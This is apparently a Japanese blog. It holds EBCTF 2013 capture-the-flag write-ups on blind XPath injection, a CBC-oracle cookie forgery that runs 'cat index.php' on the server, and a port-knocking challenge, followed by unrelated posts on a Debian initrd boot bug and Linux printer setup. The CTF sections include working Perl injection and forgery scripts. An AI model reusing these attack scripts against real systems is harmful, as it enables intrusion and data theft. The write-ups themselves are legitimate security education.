Writeup: EBCTF 2013 - Challenge WEB300 “Flodder”
英文はflodderという動画の字幕らしい。
次のページへのジャンプはJavaScriptで行なっており、proofは(擬似コードで) hex(md5(pos||proof))[0..3] == "1234" になるように生成される。ただし||は文字列連結である。
とりあえずアクセスのためのスクリプトをでっち上げる。
use strict; use warnings; use Digest::MD5 qw(md5_hex); sub escape { my $s = shift; $s =~ s/(\W)/'%'. unpack("H*", $1)/ge; return $s; } my $s = do {local $/; <>}; my $proof = 0; while (substr(md5_hex($s . $proof), 0, 4) ne '1234') { $proof += 1 } system "curl", "http://46.137.18.104/?pos=@{[escape($s)]}&proof=$proof\n";
Usage: echo -n "/etc/passwd" | perl access.pl
posに1+1と渡すと2のページが表示されるのでSQLインジェクションとevalを疑った。
挙動を観察すると次のような結果が得られた。
- #や--によるコメントアウトが動かない
- @1が動かない
- phpのevalではない
- 1 + ('1')は2扱い
- length, len, strlenは動かない
- ' 2 'は2扱い
- 1<2は大量に出力される
- (2<3)は1扱い、(2>3)は0扱い
- (2=3)は0扱い、(2!=3)は1扱い
- (1='1')は1, (1<>'1')はエラー
- ""も文字列扱い
- 0x1はエラー、09は9扱い
- --9は9扱い
- 1/1がエラー
- 3*3は9扱いで掛け算
- 9 div 3が3扱い
- 特徴的
- 9 mod 3が0扱い
- (2 and 2)は1扱い
- (0 and 0)と(0 and 1)と(0 or 0)は0、(0 or 1)が1
- (1 and 2)も1
- ビット演算の可能性はない
- 1.0は1、ただし1.5は空
- (.5*2)が1
- (round(.5)*2)が2
divが特徴的なのでそこを元に探すとXPathらしいことが分かった。XML Path Language - Wikipedia
(concat("1","0"))が10扱いなのでXPathで間違いないと判断した。
XPathのインジェクションの参考資料: XPath インジェクションによる危険を回避する
指定したパスの文字列を取得するスクリプトを作成した。
use strict; use warnings; use Digest::MD5 qw(md5_hex); my $target = 'ここにXPath'; sub escape { my $s = shift; $s =~ s/(\W)/'%'. unpack("H*", $1)/ge; return $s; } sub escape_xml { my $s = shift; $s =~ s/\&/&/g; $s =~ s/\"/"/g; $s =~ s/</</g; $s =~ s/>/>/g; return $s; } sub query { my $s = shift; my $proof = 0; while (substr(md5_hex($s . $proof), 0, 4) ne '1234') { $proof += 1; } print "$s\n"; my $r = `curl -s "http://46.137.18.104/?pos=@{[escape($s)]}&proof=$proof"`; if ($r =~ m{<pre>\n(.*)\n</pre>}s) { return $1; } else { die } } sub str2pos { my $s = shift; $s =~ s/\n.*//s; open my $fh, '<', '字幕が1行に一つ入っているファイル' or die $!; my $r; my $i = 0; while (my $line = <$fh>) { if ($line =~ /\Q$s\E/) { if (defined $r) { die; } else { $r = $i; } } $i++; } return $r; } #my @chars = map {chr} 0x20..0x7e; my @chars = ('0'..'9', 'a'..'z', 'A'..'Z', map{chr}(0x20..0x2f,0x3a..0x40,0x5b..0x60,0x7b..0x7e)); my $name = ""; my $length = str2pos(query(sprintf('string-length(%s)', $target))); print $length, "\n"; for my $i (1..$length) { my $ok = 0; for my $c (@chars) { my $q = sprintf '(substring(%s,%d,1) = "%s")', $target, $i, escape_xml($c); if (str2pos(query($q))) { $ok = 1; $name .= $c; last; } } if (!$ok) { print $name, "\n"; print "not found\n"; exit 1; } } print $name, "\n";
XML文書を取得していく。
- count(/*) = 1
- string-length(name(/*[1])) = 6
- count(/*[1]/*) - 1 → 最後の文章
- /*[1]/の下にあるノードが文章に対応している
- string-length(name(/*[1]/*[1])) = 4
- string-length(/*[1]/*[1]) = 34
- echo -n 'It seems like a ridiculous idea!' | wc -c = 32
- string-length(/*[1]/*[2]) = 57
- echo -n 'We should give them a chance.|They have to go somewhere' | wc -c = 55
- +2であっているので\n二つと推測
- string-length(/*[1]/namespace::*[1]) = 36
- count(/@*) = 0
- count(/*[1]/@*) = 0
- count(/*[1]//@*) = 0
- count(/*[1]/*[1]/@*) = 2
- string-length(name(/*[1]/*[1]/@*[1])) = 4
- string-length(name(/*[1]/*[1]/@*[2])) = 2
- string-length(/*[1]/*[1]/@*[1]) = 12
- string-length(/*[1]/*[1]/@*[2]) = 12
- name(/*[1]/*[1]/@*[1]) = "from"
- name(/*[1]/*[1]/@*[2]) = "to"
- count(/*[1]//@*) - count(/*[1]/*)*2 = 0
- /*[1]以下に余分な属性はない
- /*[1]/*[1]/@from = "00:00:17,544"
- name(/*[1]/*[1]) = "line"
- /*[1]/namespace::*[1] = "http://www.w3.org/XML/1998/namespace"
- name(/*[1]) = "script"
- count(/*[1]//*[string-length(@from) != 12]) = 3
- count(/*[1]//*[string-length(@to) != 12]) = 0
- /*[1]//*[string-length(@from) != 12][1]/@from = ""
- count(/*[1]//*[string-length(@from) = 11]) = 3
- /*[1]//*[string-length(@from) != 12][1]/@from = "00:8:06,400"
ここでフラグが見つけられなかったため、長時間悩んだ。
最後にコメントがないか確認したところ、
- count(//comment()) = 1
- //comment() = "ebCTF{a77cc448eace781101ec6966e9615c8d}"
でフラグを発見した。
Writeup: EBCTF 2013 - Challenge WEB400 “Moo!”
入力した名前でcowsayコマンドが実行されて出力が表示される。
http://54.216.166.38/index.phps にソースがある。ソース中に
- CBCのIV
- AESの鍵
- HMACの鍵
- Flag
が入る場所があり、その値は消されている。
サーバ側で他のコマンドを実行してindex.phpのソースを表示できれば勝ち。
$settings = array( 'name' => $_POST['name'], 'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")), );
をserializeして、後ろにHMACの16進文字列を付加して、AES(ブロックサイズ128 bits = 16 bytes)、CBCモードで暗号化の後、Base64でエンコードしたものをCookieに入れている。
Cookieからこのgreetingの値を読み出して実行するので、greetingを書き換えて実行したいコマンドに設定する。
まず、ブロックの暗号化オラクルが存在することがわかる。
すなわち、c1が既知の時、m2を適切に設定することで m = c1 xor m2 に対応するcが得られる。
HMACを突破できるとは思えないのだが、ソースをよくよく見るとtypoだろう間違いでHMACが機能していない。
return hash_hmac('sha1', data, MY_HMAC_KEY); ~~~~
本当にこのコードで動いてるのだとすれば、MAC対象のデータは"data"という文字列とみなされるのでHMACは固定となる。
serializeの仕様を確認する。
$ php -r 'echo (serialize(array("name" => "abc", "greeting" => "cowsay abc")));' a:2:{s:4:"name";s:3:"abc";s:8:"greeting";s:10:"cowsay abc";}
"はエスケープされることなく入る。文字列長だけで見る。
$ php -r 'echo (serialize("a\"b"));' s:3:"a"b";
後ろにゴミデータをつけても無視される
$ php -r 'var_dump(unserialize(serialize(array("abc" => "def")) . "hoge"));' array(1) { ["abc"]=> string(3) "def" }
Aを199回繰り返した名前を入力して考える。
$ php -r '$s = str_repeat("A", 199); echo(serialize(array("name" => $s, "greeting" => ("cowsay ".$s)))); echo str_repeat("HMAC", 10);' a:2:{s:4:"name";s:199:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";s:8:"greeting";s:206:"cowsay AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}HMACHMACHMACHMACHMACHMACHMACHMACHMACHMAC
これを次のように改ざんする。
a:2:{s:4:"name";s:199:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";s:8:"greeting";s:13:"cat index.php";}garbagegarbagegarbage...HMACHMACHMACHMACHMACHMACHMACHMACHMACHMAC
0000000: 613a 323a 7b73 3a34 3a22 6e61 6d65 223b a:2:{s:4:"name"; 0000010: 733a 3139 393a 2241 4141 4141 4141 4141 s:199:"AAAAAAAAA 0000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000d0: 4141 4141 4141 4141 4141 4141 4141 223b AAAAAAAAAAAAAA"; 00000e0: 733a 383a 2267 7265 6574 696e 6722 3b73 s:8:"greeting";s 00000f0: 3a32 3036 3a22 636f 7773 6179 2041 4141 :206:"cowsay AAA 0000100: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000110: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000120: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000130: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000140: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000150: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000160: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000170: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000180: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000190: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00001a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00001b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00001c0: 4141 4141 223b 7d48 4d41 4348 4d41 4348 AAAA";}HMACHMACH 00001d0: 4d41 4348 4d41 4348 4d41 4348 4d41 4348 MACHMACHMACHMACH 00001e0: 4d41 4348 4d41 4348 4d41 4348 4d41 43 MACHMACHMACHMAC
0x1b0以降が最後に付いていればHMACを通過するはずである。
実際、0x1b0以降を複製して二回繰り返しても動作したので正しい。
以下の攻撃プログラムで通した。
use strict; use warnings; use MIME::Base64; sub encode_percent { my $s = shift; $s =~ s/(\W)/'%'.unpack("H*", $1)/ge; $s; } sub decode_percent { my $s = shift; $s =~ s/%(..)/pack("H*", $1)/ge; $s; } sub get_cipher { my $name = shift; my $r = `curl -s -i http://54.216.166.38/ -d name=@{[encode_percent($name)]}`; die unless $r =~ /Set-Cookie: settings=(.+)/; return decode_base64(decode_percent($1)); } sub split_block { my $s = shift; my @b; for my $i (0..(length($s)+15)/16 - 1) { push @b, substr($s, 16*$i, 16); } return @b; } sub to_hex { my $s = shift; unpack("H*", $s); } sub run_setting { my $settings_cipher = shift; my $r = `curl -v -s -i http://54.216.166.38/ -b settings=@{[encode_percent(encode_base64($settings_cipher))]}`; $r; } sub encrypt_block { my $block = shift; my $prev = pack "H*", "698b72b3871ae61ba05d4ac7707edcaf"; my $s = "\0"x9 . ($prev^$block) . "\0"x(199-25); print length($s), "\n"; (split_block(get_cipher($s)))[2]; } my $s = get_cipher("A"x199); my @b = split_block($s); $b[15] = encrypt_block(':13:"cat index.p' ^ $b[14]); $b[16] = encrypt_block('hp";} ' ^ $b[15]); print run_setting(join("", @b));
最初、 my $s = get_cipher("\0"x199); として動かないと悩んでいたが、id:k_operafan さんが華麗に"A"に修正して動かしてくれた。考えてみれば"\0"はescapeshellargで消されてしまう。
Writeup: EBCTF 2013 - Challenge NET200 “Who's there”
ウェブサイトにアクセスすると
112 + 386 + 712 + 1398 + 8771 + 11982 + 15397 + 23984 = 51037
という右辺と左辺があっていない数式が表示される。
ポートスキャンなどをして迷走した後、HTTPヘッダを調べてみると X-Powered-By: *knock knock* というヘッダが含まれていることに気づいた。ノックノック・ジョークというものがあるらしい。
技術的にはノックというと、ポートノッキングというものがあり、ある順番でポートにアクセスした時にだけ特定のポートにアクセスできるようになる。Linuxで動くデーモンにはknockdがある。
式にあるポートに順にアクセスしてみると、51037ポートから返事があった。
$ for port in 112 386 712 1398 8771 11982 15397 23984 51037; do nc 54.216.81.14 $port; done So you are knocking me, how about I return the favor? Repeat after me and I will open the last port...
"Repeat after me"というので、パケットキャプチャしてみるとパケットが送られてきている。
00:41:06.753555 IP 54.216.81.14.1337 > our-server.8112: Flags [S], seq 0, win 8192, length 0 00:41:07.764105 IP 54.216.81.14.1337 > our-server.33386: Flags [S], seq 0, win 8192, length 0 00:41:08.772301 IP 54.216.81.14.1337 > our-server.14712: Flags [S], seq 0, win 8192, length 0 00:41:09.784681 IP 54.216.81.14.1337 > our-server.4398: Flags [S], seq 0, win 8192, length 0 00:41:10.792207 IP 54.216.81.14.1337 > our-server.1771: Flags [S], seq 0, win 8192, length 0 00:41:11.794845 IP 54.216.81.14.1337 > our-server.52313: Flags [S], seq 0, win 8192, length 0 00:41:12.807493 IP 54.216.81.14.1337 > our-server.25697: Flags [S], seq 0, win 8192, length 0 00:41:13.816073 IP 54.216.81.14.1337 > our-server.932: Flags [S], seq 0, win 8192, length 0 00:41:14.824361 IP 54.216.81.14.1337 > our-server.22222: Flags [S], seq 0, win 8192, length 0
この順にncでアクセスしてみたが、ポートが開いておらず、1秒でタイムアウトして次に行くようにしてみても22222からは返事がない。
今度は正確に"Repeat after me"しようという事で、hping3を使用して同じパケットを送りつけてみた。
for port in 8112 33386 14712 4398 1771 52313 25697 932; do echo knock $port sudo hping3 -q -c 1 -S -M 0 -w 8192 -p $port 54.216.81.14 >/dev/null 2>&1 done nc -w 1 54.216.81.14 22222
すると、今度は返事が得られた。設定ファイルの一部である。
[Advanced] sequence = 234,781,983,2411,9781,14954,23112,63991 seq_timeout = 15 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT tcpflags = fin,urg,!ack cmd_timeout = 30 stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT
この設定ファイルに従ってさらにパケットを送る。
for port in 234 781 983 2411 9781 14954 23112 63991; do echo knock $port sudo hping3 -q -c 1 -F -U -p $port 54.216.81.14 >/dev/null 2>&1 done nc -w 1 54.216.81.14 32154
これでフラグが送られてきた。
ebCTF{32c64f2542ba4566acff750196ca2e13}
■
CTFに参加してるのだからWriteupをちゃんと書こう、ということで
Mounting root file system ... /init: line 221: arithmetic syntax error
Debianサーバ無限ポチポチのお作法 - NoiseFactoryを参考にDebian sidでVirtFSを用いた仮想環境を設定しようとしたところ、起動中に
Begin: Mounting root file system ... /init: line 221: arithmetic syntax error 以下略Kernel panic
となり停止してしまった。起動時のコマンドは
sudo kvm -virtfs local,path=./debian9p,mount_tag=debian9p,security_model=none \ -kernel ./debian9p/vmlinuz -initrd debian9p/boot/initrd.img-3.2.0-4-amd64 \ -append "rootfstype=9p rootflags=trans=virtio root=debian9p"
である。
initの中で停止しているのでinitrdを展開して追いかけてみる。/initの221行目は
parse_numeric ${ROOT}
であった。ROOTはカーネルのコマンドラインオプションとして渡しているrootパラメータ、つまりdebian9pである。
さらに/scripts/functionsのparse_numericを見てみる。
# lilo compatibility parse_numeric() { case $1 in "") return ;; /*) return ;; [0-9]*:[0-9]*) minor=$(( ${1#*:} )) major=$(( ${1%:*} )) ;; [A-Fa-f0-9]*) value=$(( 0x${1} )) minor=$(( ${value} % 256 )) major=$(( ${value} / 256 )) ;; *) return ;; esac (略) }
つまり、最初の文字が[A-Fa-f0-9]のどれかであればそれを16進数として認識しようとしてしまうわけだ。これはちょっと問題ではないだろうか。書いた人は正規表現の[A-Fa-f0-9]+のつもりで書いたのではないかと思いたくなる条件だ。
bashならともかくbusyboxではパターンマッチではそれを表現するのは無理だが、grepに投げて追加の判定をしたほうがいいのではなかろうか。
とりあえず最初の問題のアドホックな解決策としては、mount_tagを[A-Fa-f0-9]で始まらないような適当な名前に変えればよい。無事起動することが確認できた。
LBP6710iでLinuxから(無理やり)印刷する
失敗した。Linuxに対応していないCanon Satera LBP6710iを選んでしまった。LIPSだからサポートしてると思ったのだが……
仕方ないので最低限、論文を両面印刷できるように頑張ってみた。
結論から言うと、LIPS IV用のppdにLBP6710i用の設定を書き加えてやることでA4に両面印刷できるようになった。
追記: 作成したppdファイルを公開した。ただし動作を確認したA4のみ設定してあるので他の用紙サイズが必要な場合は各自追加確認を。 http://www.mma.club.uec.ac.jp/~ytoku/LBP6710i.ppd
追記2: 印刷できないケースが多いので諦めた。 → GNU/Linux(CUPS)からWindows 7経由でLinuxに対応していないプリンタに印刷する - ytokuがつまずいた跡
前提として、LIPSLX Printer Driver for Linuxはインストール済みである。
まず、CUPSのドライバ選択で下位機種っぽいLBP6700を選んでみた。印刷してみるとPC側からは動いているように見えるがプリンタが「印字データのバージョンエラーが発生しました」と言ってくる。駄目か。
次に、スペック表によればLIPS IV以前もサポートしているはずなので、Canon LIPS-IVv Foomatic/lips4vを選んでみたところ、テストページの印刷ができた。
ところがevinceからpdfをA4で印刷しようとしてみると、用紙サイズが合わない旨の「以下の用紙をセット 80R 普通紙」というメッセージ。
プリンタとppdファイル内の用紙設定があっていないのだろうと見当をつけて、正しい設定を求めてMacOSX用ドライバ*1からppdファイルを拝借した。
なお次のような感じでGNU/Linux環境でdmgファイルからppdファイルを取り出した。
$ cd temp $ dmg2img ../macx-lipslx-v1000.dmg macx-lipslx-v1000.img $ sudo mount -t hfsplus -o loop ./macx-lipslx-v1000.img /mnt $ xar -x -f /mnt/UFRII_LT_LIPS_LX_Installer.pkg $ gzip -dc Canon_Family_Printer_DeviceCNPZULBP6710ZU.pkg/Payload | cpio -idv $ gzip -d Library/Printers/PPDs/Contents/Resources/CNPZULBP6710ZU.ppd.gz
/etc/cups/ppd/以下からコピーしてきたppdファイルにMacOSXからもらってきた用紙設定を埋め込んでみる。
手当たりしだいに設定のコピーを行ったが、主に次の項目である。
- HWMargins
- VariablePaperSize
- MaxMediaWidth
- MaxMediaHeight
- PageSize
- PageRegion
- ImageableArea
- PaperDimension
A4を選んで印刷。まだ動かない。はたと気づいてA4 (Print Area-Large)を選んで印刷してみたところ印刷に成功した。
さらに両面印刷のためにDuplex関連の設定をコピーした。しかし、MacOSX用のppdファイルからCNDuplexをコピーしてきても印刷ダイアログで両面印刷の項目がグレイアウトしていた。
かわりに、Linux用の他のプリンタのppdファイル(/usr/share/cups/model/CNCUPSLBP6700ZJ.ppd)から
*OpenUI *Duplex/Duplex: PickOne *DefaultDuplex: None *Duplex None/OFF: "<</Duplex false>>setpagedevice" *Duplex DuplexNoTumble/ON (Long-edged Binding): "<</Duplex true/Tumble false>>setpagedevice" *Duplex DuplexTumble/ON (Short-edged Binding): "<</Duplex true/Tumble true>>setpagedevice" *CloseUI: *Duplex
というのをコピーしてみたところちゃんと表示され、両面印刷も機能した。めでたしめでたし。
このままppdファイルを公開すると、GPLなLinux用ppdはともかくMacOSX用のppdファイルの方はライセンス的にもまずい気がするので、あとで整理したppdファイルを追記で公開しようと思う。
追記: 公開した。ページ上部参照。